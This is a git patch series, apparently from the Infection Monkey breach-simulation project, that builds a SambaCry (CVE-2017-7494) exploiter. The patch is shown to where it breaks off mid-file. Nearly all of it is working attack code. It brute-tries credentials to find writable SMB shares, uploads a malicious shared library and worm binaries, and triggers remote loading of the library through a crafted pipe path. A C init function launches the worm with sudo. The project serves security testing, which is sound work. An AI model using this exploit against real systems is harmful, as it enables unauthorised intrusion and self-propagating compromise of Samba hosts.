b/chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.h similarity index 100% rename from chaos_monkey/monkey_utils/monkey_runner.h rename to chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.h From 4ce1653c8fd9dd431b7a954bdf7f92c9109a943e Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 30 Aug 2017 10:16:54 +0300 Subject: [PATCH 09/32] sambacry: Add support for using both architectures --- chaos_monkey/exploit/sambacry.py | 205 +++++++++++++----- chaos_monkey/monkey-linux.spec | 4 + chaos_monkey/monkey.spec | 4 + .../sambacry_monkey_runner/monkey_runner.c | 21 +- 4 files changed, 171 insertions(+), 63 deletions(-) diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py index 5973b9f59..af0246184 100644 --- a/chaos_monkey/exploit/sambacry.py +++ b/chaos_monkey/exploit/sambacry.py @@ -1,6 +1,7 @@ from optparse import OptionParser from impacket.dcerpc.v5 import transport from os import path +import time from impacket.smbconnection import SMBConnection from impacket.smb import SessionError from impacket.nt_errors import STATUS_OBJECT_NAME_NOT_FOUND, STATUS_ACCESS_DENIED @@ -9,78 +10,163 @@ from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAnd FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, SMB2Packet, \ SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE, SMB2_SESSION_FLAG_ENCRYPT_DATA + +from exploit import HostExploiter +from exploit.tools import get_target_monkey +from smbfinger import SMB_SERVICE +from model import DROPPER_ARG +from tools import build_monkey_commandline +import monkeyfs +from config import WormConfiguration + __author__ = 'itay.mizeretz' # TODO: add documentation -# TODO: add author # TODO: add logs -# TODO: add exception handling + +# TODO: add license credit?: https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py # TODO: remove /home/user # TODO: take all from config -FOLDER_PATHS_TO_GUESS = ['/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '', '/home/user'] -RUNNER_FILENAME = "monkey_runner.so" +FOLDER_PATHS_TO_GUESS = ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home', '/home/user'] +RUNNER_FILENAME_32 = "monkey_runner32.so" +RUNNER_FILENAME_64 = "monkey_runner64.so" COMMANDLINE_FILENAME = "monkey_commandline.txt" -MONKEY_FILENAME = "monkey" +MONKEY_FILENAME_32 = "monkey32" +MONKEY_FILENAME_64 = "monkey64" +MONKEY_COPY_FILENAME_32 = "monkey32_2" +MONKEY_COPY_FILENAME_64 = "monkey64_2" +SHARES_TO_NOT_CHECK = ["IPC$", "print$"] -def main(): - parser = OptionParser() - parser.add_option("-t", "--target", dest="target") - - (options, args) = parser.parse_args() - if options.target: - exploiter = SambaCryExploiter() - exploiter.exploit(options.target) - else: - parser.print_help() - -# TODO: inherit from HostExploiter -class SambaCryExploiter: +class SambaCryExploiter(HostExploiter): _target_os_type = ['linux'] def __init__(self): - self.module_binary = "" + pass - def exploit(self, ip): - self.assert_smb_version() - writable_shares = [] + def exploit_host(self, host, depth=-1, src_path=None): + self.is_vulnerable(host) + + writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr) + + # TODO: decide about ignoring src_path because of arc detection bug + src_path = src_path or get_target_monkey(host) + + for share in writable_shares_creds_dict: + self.try_exploit_share(host, share, writable_shares_creds_dict[share], src_path, depth) + + # TODO: config sleep time + time.sleep(5) + + for share in writable_shares_creds_dict: + self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share]) + + def try_exploit_share(self, host, share, creds, monkey_bin_src_path, depth): + smb_client = self.connect_to_server(host.ip_addr, creds) + self.upload_module(smb_client, host, share, monkey_bin_src_path, depth) + self.trigger_module(smb_client, share) + smb_client.logoff() + + def clean_share(self, ip, share, creds): + smb_client = self.connect_to_server(ip, creds) + tree_id = smb_client.connectTree(share) + file_list = [COMMANDLINE_FILENAME, RUNNER_FILENAME_32, RUNNER_FILENAME_64, + MONKEY_FILENAME_32, MONKEY_FILENAME_64, + MONKEY_COPY_FILENAME_32, MONKEY_COPY_FILENAME_64] + + for filename in file_list: + try: + smb_client.deleteFile(share, "\\%s" % filename) + except: + # Ignore exception to try and delete as much as possible + pass + smb_client.disconnectTree(tree_id) + smb_client.logoff() + + def get_writable_shares_creds_dict(self, ip): + # TODO: document + writable_shares_creds_dict = {} credentials_list = self.get_credentials_list() + for credentials in credentials_list: smb_client = self.connect_to_server(ip, credentials) shares = self.list_shares(smb_client) + + # don't try shares we can already write to. + for writable_share in writable_shares_creds_dict: + if writable_share in shares: + shares.remove(writable_share) + for share in shares: - if self.upload_module(smb_client, share): - writable_shares.append(share) - self.trigger_module(smb_client, share) - # TODO: delete remains + if self.is_share_writable(smb_client, share): + writable_shares_creds_dict[share] = credentials + smb_client.logoff() + return writable_shares_creds_dict + def get_credentials_list(self): - # TODO: get credentials from config - return [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}] + user_password_pairs = WormConfiguration.get_exploit_user_password_pairs() + credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}] + + for user, password in user_password_pairs: + credentials_list.append({'username': user, 'password': password, 'lm_hash': '', 'ntlm_hash': ''}) + + return credentials_list def list_shares(self, smb_client): shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()] - shares.remove("IPC$") + for share in SHARES_TO_NOT_CHECK: + if share in shares: + shares.remove(share) + return shares - def assert_smb_version(self): - # TODO: implement - pass + def is_vulnerable(self, host): + if not host.services.has_key(SMB_SERVICE): + return False + # TODO: check if version is supported + # smb_server_name = host.services[SMB_SERVICE].get('name') - def upload_module(self, smb_client, share): + return True + + def is_share_writable(self, smb_client, share): + # TODO: logs + #logging.debug('Checking %s for write access' % shareName) try: + #logging.debug('Connecting to share %s' % shareName) tree_id = smb_client.connectTree(share) - smb_client.putFile(share, "\\%s" % COMMANDLINE_FILENAME, self.get_monkey_commandline) - smb_client.putFile(share, "\\%s" % RUNNER_FILENAME, self.get_monkey_runner_bin) - smb_client.putFile(share, "\\%s" % MONKEY_FILENAME, self.get_monkey_bin) - smb_client.disconnectTree(tree_id) - return True - except SessionError as e: - if str(e).find('STATUS_ACCESS_DENIED') >= 0: - return False - raise + except Exception as e: + return False + + try: + smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE) + writable = True + except Exception as e: + writable = False + pass + + smb_client.disconnectTree(tree_id) + + return writable + + def upload_module(self, smb_client, host, share, monkey_bin_src_path, depth): + tree_id = smb_client.connectTree(share) + self.write_file_to_server(smb_client, share, COMMANDLINE_FILENAME, self.get_monkey_commandline_supplier(host, depth)) + with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file: + self.write_file_to_server(smb_client, share, RUNNER_FILENAME_32, monkey_runner_bin_file.read) + with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file: + self.write_file_to_server(smb_client, share, RUNNER_FILENAME_64, monkey_runner_bin_file.read) + with monkeyfs.open(monkey_bin_src_path, "rb") as monkey_bin_file: + # TODO: Fix or postpone 32/64 architecture problem. + self.write_file_to_server(smb_client, share, MONKEY_FILENAME_32, monkey_bin_file.read) + self.write_file_to_server(smb_client, share, MONKEY_FILENAME_64, monkey_bin_file.read) + smb_client.disconnectTree(tree_id) + + def write_file_to_server(self, smb_client, share, file_name, file_handle): + smb_client.putFile(share, "\\%s" % file_name, file_handle.read) + file_handle.close() def connect_to_server(self, ip, credentials): """ @@ -119,29 +205,31 @@ class SambaCryExploiter: return True - - def generate_module_possible_paths(self, share_name): + @staticmethod + def generate_module_possible_paths(share_name): """ Generates array of possible paths :param share_name: Name of the share :return: Array of possible full paths to the module. """ - return (('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME)) for folder_path in FOLDER_PATHS_TO_GUESS) + possible_paths_32 =\ + (('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME_32)) for folder_path in FOLDER_PATHS_TO_GUESS) + possible_paths_64 = \ + (('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME_64)) for folder_path in FOLDER_PATHS_TO_GUESS) + return possible_paths_32 + possible_paths_64 @staticmethod - def get_monkey_bin(): - # TODO - pass + def get_monkey_runner_bin_file(is_32bit): + # TODO: get from config + if is_32bit: + return open("sc_monkey_runner32.so", "rb") + else: + return open("sc_monkey_runner64.so", "rb") + @staticmethod - def get_monkey_runner_bin(): - # TODO - pass - - @staticmethod - def get_monkey_commandline(): - # TODO - pass + def get_monkey_commandline_supplier(host, depth): + return lambda x: DROPPER_ARG + build_monkey_commandline(host, depth - 1) # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability # @@ -224,7 +312,4 @@ class SambaCryExploiter: return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) else: return self.createSmb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ, - creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0) - -if __name__=="__main__": - main() \ No newline at end of file + creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0) \ No newline at end of file diff --git a/chaos_monkey/monkey-linux.spec b/chaos_monkey/monkey-linux.spec index 16e88810d..d11f999f5 100644 --- a/chaos_monkey/monkey-linux.spec +++ b/chaos_monkey/monkey-linux.spec @@ -14,6 +14,10 @@ a = Analysis(['main.py'], win_no_prefer_redirects=None, win_private_assemblies=None, cipher=block_cipher) + +a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')] +a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')] + pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher) exe = EXE(pyz, diff --git a/chaos_monkey/monkey.spec b/chaos_monkey/monkey.spec index 96c811efd..8e004145b 100644 --- a/chaos_monkey/monkey.spec +++ b/chaos_monkey/monkey.spec @@ -7,6 +7,10 @@ a = Analysis(['main.py'], hookspath=None, runtime_hooks=None) + +a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')] +a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')] + if platform.system().find("Windows")>= 0: a.datas = [i for i in a.datas if i[0].find('Include') < 0] if platform.architecture()[0] == "32bit": diff --git a/chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.c b/chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.c index e83ad82dc..4938fb783 100644 --- a/chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.c +++ b/chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.c @@ -6,16 +6,31 @@ #include "monkey_runner.h" +#if __x86_64__ + #define ARC_IS_64 +#endif + +#if _____LP64_____ + #define ARC_IS_64 +#endif + #define LINE_MAX_LENGTH (2048) #define MAX_PARAMETERS (30) int samba_init_module(void) { - const char RUNNER_FILENAME[] = "monkey_runner.so"; +#if ARC_IS_64 + const char RUNNER_FILENAME[] = "monkey_runner64.so"; + const char MONKEY_NAME[] = "monkey64"; + const char MONKEY_COPY_NAME[] = "monkey64_2"; +#else + const char RUNNER_FILENAME[] = "monkey_runner32.so"; + const char MONKEY_NAME[] = "monkey32"; + const char MONKEY_COPY_NAME[] = "monkey32_2"; +#endif + const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt"; const char ACCESS_MODE_STRING[] = "0777"; - const char MONKEY_NAME[] = "monkey"; - const char MONKEY_COPY_NAME[] = "monkey2"; const char RUN_MONKEY_CMD[] = "sudo ./"; int found = 0; From 194ed624c276eb8f1e08a9002df81b134186d261 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Thu, 31 Aug 2017 17:50:55 +0300 Subject: [PATCH 10/32] sambacry almost working e2e --- chaos_monkey/config.py | 5 +- chaos_monkey/exploit/__init__.py | 1 + chaos_monkey/exploit/sambacry.py | 204 ++++++++++++------ chaos_monkey/exploit/tools.py | 5 +- .../sambacry_monkey_runner/build.sh | 4 +- .../{monkey_runner.c => sc_monkey_runner.c} | 37 +++- .../{monkey_runner.h => sc_monkey_runner.h} | 0 7 files changed, 172 insertions(+), 84 deletions(-) rename chaos_monkey/monkey_utils/sambacry_monkey_runner/{monkey_runner.c => sc_monkey_runner.c} (79%) rename chaos_monkey/monkey_utils/sambacry_monkey_runner/{monkey_runner.h => sc_monkey_runner.h} (100%) diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index a9007edb3..659f26120 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -1,7 +1,8 @@ import os import sys from network.range import FixedRange, RelativeRange, ClassCRange -from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter +from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter,\ + SambaCryExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger from abc import ABCMeta from itertools import product @@ -141,7 +142,7 @@ class Configuration(object): scanner_class = TcpScanner finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger] exploiter_classes = [SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, # Windows exploits - SSHExploiter, ShellShockExploiter # Linux + SSHExploiter, ShellShockExploiter, SambaCryExploiter # Linux ] # how many victims to look for in a single scan iteration diff --git a/chaos_monkey/exploit/__init__.py b/chaos_monkey/exploit/__init__.py index 1063e256d..1b12afd2f 100644 --- a/chaos_monkey/exploit/__init__.py +++ b/chaos_monkey/exploit/__init__.py @@ -20,3 +20,4 @@ from smbexec import SmbExploiter from rdpgrinder import RdpExploiter from sshexec import SSHExploiter from shellshock import ShellShockExploiter +from sambacry import SambaCryExploiter diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py index af0246184..cdee14dd8 100644 --- a/chaos_monkey/exploit/sambacry.py +++ b/chaos_monkey/exploit/sambacry.py @@ -2,7 +2,12 @@ from optparse import OptionParser from impacket.dcerpc.v5 import transport from os import path import time +import sys +from io import BytesIO +import logging +import re from impacket.smbconnection import SMBConnection +import impacket.smbconnection from impacket.smb import SessionError from impacket.nt_errors import STATUS_OBJECT_NAME_NOT_FOUND, STATUS_ACCESS_DENIED from impacket.nt_errors import STATUS_SUCCESS @@ -13,42 +18,46 @@ from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_ from exploit import HostExploiter from exploit.tools import get_target_monkey -from smbfinger import SMB_SERVICE +from network.smbfinger import SMB_SERVICE from model import DROPPER_ARG from tools import build_monkey_commandline import monkeyfs -from config import WormConfiguration __author__ = 'itay.mizeretz' # TODO: add documentation -# TODO: add logs # TODO: add license credit?: https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py # TODO: remove /home/user # TODO: take all from config FOLDER_PATHS_TO_GUESS = ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home', '/home/user'] -RUNNER_FILENAME_32 = "monkey_runner32.so" -RUNNER_FILENAME_64 = "monkey_runner64.so" +RUNNER_FILENAME_32 = "sc_monkey_runner32.so" +RUNNER_FILENAME_64 = "sc_monkey_runner64.so" COMMANDLINE_FILENAME = "monkey_commandline.txt" MONKEY_FILENAME_32 = "monkey32" MONKEY_FILENAME_64 = "monkey64" MONKEY_COPY_FILENAME_32 = "monkey32_2" MONKEY_COPY_FILENAME_64 = "monkey64_2" +RUNNER_RESULT_FILENAME = "monkey_runner_result" SHARES_TO_NOT_CHECK = ["IPC$", "print$"] +LOG = logging.getLogger(__name__) + class SambaCryExploiter(HostExploiter): _target_os_type = ['linux'] def __init__(self): - pass + self._config = __import__('config').WormConfiguration def exploit_host(self, host, depth=-1, src_path=None): - self.is_vulnerable(host) + if not self.is_vulnerable(host): + return writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr) + LOG.info("Writable shares and their credentials on host %s: %s" % + (host.ip_addr, str(writable_shares_creds_dict))) # TODO: decide about ignoring src_path because of arc detection bug src_path = src_path or get_target_monkey(host) @@ -59,30 +68,64 @@ class SambaCryExploiter(HostExploiter): # TODO: config sleep time time.sleep(5) + successfully_triggered_shares = [] + for share in writable_shares_creds_dict: - self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share]) + trigger_result = self.get_trigger_result(host.ip_addr, share, writable_shares_creds_dict[share]) + if trigger_result is not None: + successfully_triggered_shares.append((share, trigger_result)) + # TODO: uncomment + #self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share]) + + # TODO: send telemetry + + if len(successfully_triggered_shares) > 0: + LOG.info("Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares))) + return True + else: + LOG.info("No shares triggered successfully on host %s" % host.ip_addr) + return False def try_exploit_share(self, host, share, creds, monkey_bin_src_path, depth): - smb_client = self.connect_to_server(host.ip_addr, creds) - self.upload_module(smb_client, host, share, monkey_bin_src_path, depth) - self.trigger_module(smb_client, share) - smb_client.logoff() + try: + smb_client = self.connect_to_server(host.ip_addr, creds) + self.upload_module(smb_client, host, share, monkey_bin_src_path, depth) + self.trigger_module(smb_client, share) + smb_client.close() + except (impacket.smbconnection.SessionError, SessionError): + LOG.debug("Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds))) def clean_share(self, ip, share, creds): smb_client = self.connect_to_server(ip, creds) tree_id = smb_client.connectTree(share) - file_list = [COMMANDLINE_FILENAME, RUNNER_FILENAME_32, RUNNER_FILENAME_64, + file_list = [COMMANDLINE_FILENAME, RUNNER_RESULT_FILENAME, + RUNNER_FILENAME_32, RUNNER_FILENAME_64, MONKEY_FILENAME_32, MONKEY_FILENAME_64, MONKEY_COPY_FILENAME_32, MONKEY_COPY_FILENAME_64] for filename in file_list: try: smb_client.deleteFile(share, "\\%s" % filename) - except: + except (impacket.smbconnection.SessionError, SessionError): # Ignore exception to try and delete as much as possible pass smb_client.disconnectTree(tree_id) - smb_client.logoff() + smb_client.close() + + def get_trigger_result(self, ip, share, creds): + smb_client = self.connect_to_server(ip, creds) + tree_id = smb_client.connectTree(share) + file_content = None + try: + file_id = smb_client.openFile(share, "\\%s" % RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA) + file_content = smb_client.readFile(tree_id, file_id) + smb_client.closeFile(tree_id, file_id) + except (impacket.smbconnection.SessionError, SessionError) as e: + pass + + smb_client.disconnectTree(tree_id) + smb_client.close() + return file_content def get_writable_shares_creds_dict(self, ip): # TODO: document @@ -90,24 +133,28 @@ class SambaCryExploiter(HostExploiter): credentials_list = self.get_credentials_list() for credentials in credentials_list: - smb_client = self.connect_to_server(ip, credentials) - shares = self.list_shares(smb_client) + try: + smb_client = self.connect_to_server(ip, credentials) + shares = self.list_shares(smb_client) - # don't try shares we can already write to. - for writable_share in writable_shares_creds_dict: - if writable_share in shares: - shares.remove(writable_share) + # don't try shares we can already write to. + for writable_share in writable_shares_creds_dict: + if writable_share in shares: + shares.remove(writable_share) - for share in shares: - if self.is_share_writable(smb_client, share): - writable_shares_creds_dict[share] = credentials + for share in shares: + if self.is_share_writable(smb_client, share): + writable_shares_creds_dict[share] = credentials - smb_client.logoff() + smb_client.close() + except (impacket.smbconnection.SessionError, SessionError): + # If failed using some credentials, try others. + pass return writable_shares_creds_dict def get_credentials_list(self): - user_password_pairs = WormConfiguration.get_exploit_user_password_pairs() + user_password_pairs = self._config.get_exploit_user_password_pairs() credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}] for user, password in user_password_pairs: @@ -124,26 +171,45 @@ class SambaCryExploiter(HostExploiter): return shares def is_vulnerable(self, host): - if not host.services.has_key(SMB_SERVICE): + if SMB_SERVICE not in host.services: + LOG.info("Host: %s doesn't have SMB open" % host.ip_addr) return False - # TODO: check if version is supported - # smb_server_name = host.services[SMB_SERVICE].get('name') - return True + pattern = re.compile(r'\d*\.\d*\.\d*') + smb_server_name = host.services[SMB_SERVICE].get('name') + samba_version = "unknown" + pattern_result = pattern.search(smb_server_name) + is_vulnerable = False + if pattern_result is not None: + samba_version = smb_server_name[pattern_result.start():pattern_result.end()] + samba_version_parts = samba_version.split('.') + if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"): + is_vulnerable = True + elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"): + is_vulnerable = True + elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (samba_version_parts[1] <= "13"): + is_vulnerable = True + elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (samba_version_parts[1] <= "9"): + is_vulnerable = True + elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"): + is_vulnerable = True + + LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %d" % + (host.ip_addr, smb_server_name, samba_version, int(is_vulnerable))) + + return is_vulnerable def is_share_writable(self, smb_client, share): - # TODO: logs - #logging.debug('Checking %s for write access' % shareName) + LOG.debug('Checking %s for write access' % share) try: - #logging.debug('Connecting to share %s' % shareName) tree_id = smb_client.connectTree(share) - except Exception as e: + except (impacket.smbconnection.SessionError, SessionError): return False try: smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE) writable = True - except Exception as e: + except (impacket.smbconnection.SessionError, SessionError): writable = False pass @@ -153,20 +219,21 @@ class SambaCryExploiter(HostExploiter): def upload_module(self, smb_client, host, share, monkey_bin_src_path, depth): tree_id = smb_client.connectTree(share) - self.write_file_to_server(smb_client, share, COMMANDLINE_FILENAME, self.get_monkey_commandline_supplier(host, depth)) + + with self.get_monkey_commandline_file(host, depth, self._config.dropper_target_path_linux) as monkey_commandline_file: + smb_client.putFile(share, "\\%s" % COMMANDLINE_FILENAME, monkey_commandline_file.read) + with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file: - self.write_file_to_server(smb_client, share, RUNNER_FILENAME_32, monkey_runner_bin_file.read) + smb_client.putFile(share, "\\%s" % RUNNER_FILENAME_32, monkey_runner_bin_file.read) + with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file: - self.write_file_to_server(smb_client, share, RUNNER_FILENAME_64, monkey_runner_bin_file.read) + smb_client.putFile(share, "\\%s" % RUNNER_FILENAME_64, monkey_runner_bin_file.read) + with monkeyfs.open(monkey_bin_src_path, "rb") as monkey_bin_file: # TODO: Fix or postpone 32/64 architecture problem. - self.write_file_to_server(smb_client, share, MONKEY_FILENAME_32, monkey_bin_file.read) - self.write_file_to_server(smb_client, share, MONKEY_FILENAME_64, monkey_bin_file.read) - smb_client.disconnectTree(tree_id) + smb_client.putFile(share, "\\%s" % MONKEY_FILENAME_64, monkey_bin_file.read) - def write_file_to_server(self, smb_client, share, file_name, file_handle): - smb_client.putFile(share, "\\%s" % file_name, file_handle.read) - file_handle.close() + smb_client.disconnectTree(tree_id) def connect_to_server(self, ip, credentials): """ @@ -176,7 +243,8 @@ class SambaCryExploiter(HostExploiter): :return: SMBConnection object representing the connection """ smb_client = SMBConnection(ip, ip) - smb_client.login(credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"]) + smb_client.login( + credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"]) return smb_client def trigger_module(self, smb_client, share_name): @@ -192,18 +260,21 @@ class SambaCryExploiter(HostExploiter): Tries triggering module by path :param smb_client: smb client object :param module_path: full path of the module. e.g. "/home/user/share/sc_module.so" - :return: False on unexpected exception. True otherwise + :return: True if might triggered successfully, False otherwise. """ try: # the extra / on the beginning is required for the vulnerability self.openPipe(smb_client, "/" + module_path) - except SessionError as e: + except (impacket.smbconnection.SessionError, SessionError) as e: # This is the expected result. We can't tell whether we succeeded or not just by this error code. - if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') < 0: - return False + if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: + return True + else: + # TODO: remove print + print str(e) - return True + return False @staticmethod def generate_module_possible_paths(share_name): @@ -212,30 +283,29 @@ class SambaCryExploiter(HostExploiter): :param share_name: Name of the share :return: Array of possible full paths to the module. """ - possible_paths_32 =\ - (('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME_32)) for folder_path in FOLDER_PATHS_TO_GUESS) - possible_paths_64 = \ - (('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME_64)) for folder_path in FOLDER_PATHS_TO_GUESS) - return possible_paths_32 + possible_paths_64 + possible_paths = [] + + for folder_path in FOLDER_PATHS_TO_GUESS: + for file_name in [RUNNER_FILENAME_32, RUNNER_FILENAME_64]: + possible_paths.append('%s/%s/%s' % (folder_path, share_name, file_name)) + return possible_paths @staticmethod def get_monkey_runner_bin_file(is_32bit): - # TODO: get from config if is_32bit: - return open("sc_monkey_runner32.so", "rb") + return open(path.join(sys._MEIPASS, RUNNER_FILENAME_32), "rb") else: - return open("sc_monkey_runner64.so", "rb") + return open(path.join(sys._MEIPASS, RUNNER_FILENAME_64), "rb") @staticmethod - def get_monkey_commandline_supplier(host, depth): - return lambda x: DROPPER_ARG + build_monkey_commandline(host, depth - 1) + def get_monkey_commandline_file(host, depth, location): + return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location)) # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability # - - def createSmb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, fileAttributes, - impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE, - createContexts=None): + def createSmb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, + fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, + oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): packet = smb_client.getSMBServer().SMB_PACKET() packet['Command'] = SMB2_CREATE @@ -283,9 +353,7 @@ class SambaCryExploiter(HostExploiter): # We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style # to make things easier for the caller. Not this time ;) treeId = smb_client.connectTree('IPC$') - # TODO: uncomment - #logging.info('Final path to load is %s' % pathName) - #logging.info('Triggering bug now, cross your fingers') + LOG.debug('Triggering path: %s' % pathName) if smb_client.getDialect() == SMB_DIALECT: _, flags2 = smb_client.getSMBServer().get_flags() @@ -312,4 +380,4 @@ class SambaCryExploiter(HostExploiter): return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) else: return self.createSmb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ, - creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0) \ No newline at end of file + creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0) diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py index b6cee68ac..2ed5837f9 100644 --- a/chaos_monkey/exploit/tools.py +++ b/chaos_monkey/exploit/tools.py @@ -443,7 +443,7 @@ def get_target_monkey(host): return monkey_path -def build_monkey_commandline(target_host, depth): +def build_monkey_commandline(target_host, depth, location=None): from config import WormConfiguration, GUID cmdline = "" @@ -458,6 +458,9 @@ def build_monkey_commandline(target_host, depth): cmdline += " -d %d" % depth + if location is not None: + cmdline += " -l %s" % location + return cmdline diff --git a/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh b/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh index 958a2588c..d1cfd5545 100644 --- a/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh +++ b/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh @@ -1,2 +1,2 @@ -gcc -c -Wall -Werror -fpic monkey_runner.c -gcc -shared -o monkey_runner.so monkey_runner.o \ No newline at end of file +gcc -c -Wall -Werror -fpic sc_monkey_runner.c +gcc -shared -o sc_monkey_runner.so sc_monkey_runner.o diff --git a/chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.c b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c similarity index 79% rename from chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.c rename to chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c index 4938fb783..4f65298e0 100644 --- a/chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.c +++ b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c @@ -4,13 +4,13 @@ #include #include -#include "monkey_runner.h" +#include "sc_monkey_runner.h" -#if __x86_64__ +#ifdef __x86_64__ #define ARC_IS_64 #endif -#if _____LP64_____ +#ifdef _____LP64_____ #define ARC_IS_64 #endif @@ -19,16 +19,16 @@ int samba_init_module(void) { -#if ARC_IS_64 - const char RUNNER_FILENAME[] = "monkey_runner64.so"; +#ifdef ARC_IS_64 + const char RUNNER_FILENAME[] = "sc_monkey_runner64.so"; const char MONKEY_NAME[] = "monkey64"; const char MONKEY_COPY_NAME[] = "monkey64_2"; #else - const char RUNNER_FILENAME[] = "monkey_runner32.so"; + const char RUNNER_FILENAME[] = "sc_monkey_runner32.so"; const char MONKEY_NAME[] = "monkey32"; const char MONKEY_COPY_NAME[] = "monkey32_2"; #endif - + const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result"; const char 